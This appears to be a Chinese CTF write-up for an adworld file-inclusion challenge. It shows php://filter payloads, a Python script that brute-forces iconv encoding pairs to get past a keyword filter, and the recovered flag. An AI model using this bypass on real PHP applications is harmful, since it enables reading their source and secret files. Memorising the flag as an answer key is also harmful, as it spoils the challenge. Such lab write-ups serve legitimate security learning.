泰山杯文件上传---adworld



首先就表明是文件包含题,可以先考虑使用filter中间流文件读取,在目录爆破中也找到有flag.php文件,直接访问没有结果

首先经典的构造出

```
convert.base64-encode
```

显示do not hack,方向是对了,进行fuzz

可以发现是read, base64-encode被过滤了, 那么首先构造

```
php://filter/string.strip_tags/resource=flag.php
```

string也被过滤

继续构造编码转换类型

```
filename=php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
```

显示编码错了,那就没啥意思了,原来也做过类似题目,写一个脚本爆破呗

```
import itertools
import requests
from urllib.parse import urlencode

url = 'http://61.147.171.105:63348/index.php'

# Define all encodings
encodings = [
    "UCS-4", "UCS-4BE", "UCS-4LE", "UCS-2", "UCS-2BE", "UCS-2LE",
    "UTF-32", "UTF-32BE", "UTF-32LE", "UTF-16BE", "UTF-16BE", "UTF-16LE",
    "UTF-7", "UTF7-IMAP", "UTF-8", "ASCII"
```

```
# Generate all possible encoding combinations
combinations = list(itertools.product(encodings, repeat=2))

# Construct and verify URL
for input_encoding, output_encoding in combinations:
    conversion = f"php://filter/convert.iconv.{input_encoding}.
{output_encoding}/resource=flag.php"
    response = requests.get(url, params={'filename': conversion})

# 直接抓flag的形式{
    if '{' in response.text:
        print(f"Input Encoding: {input_encoding}, Output Encoding:
{output_encoding}")
        print(f"Response Text: {response.text}")
```

第一次爆破无果,首先思路是没问题的,那就是编码形式更偏僻冷门,加大字典

```
encodings = [
   "UCS-4", "UCS-4BE", "UCS-4LE", "UCS-2", "UCS-2BE", "UCS-2LE",
   "UTF-32", "UTF-32BE", "UTF-32LE", "UTF-16", "UTF-16BE", "UTF-16LE",
   "UTF-7", "UTF7-IMAP", "UTF-8", "ASCII",
   "UCS-4*", "UCS-4BE*", "UCS-4LE*", "UTF-32*", "UTF-32BE*", "UTF-32LE*",
   "UTF-16*", "UTF-16BE*", "UTF-16LE*", "EUC-JP*", "SJIS*", "eucJP-win*",
   "SJIS-win*"
]
```

为什么爆出来是这样,很神奇

```
pebycaepr7{ec617392c226e2a9479a8b4bf28fa3}4b1

#Input Encoding: UTF-7, Output Encoding: UCS-4*

爆破出正确的
cyberpeace{737162c292e62749ab8a92fb43af81b4}
```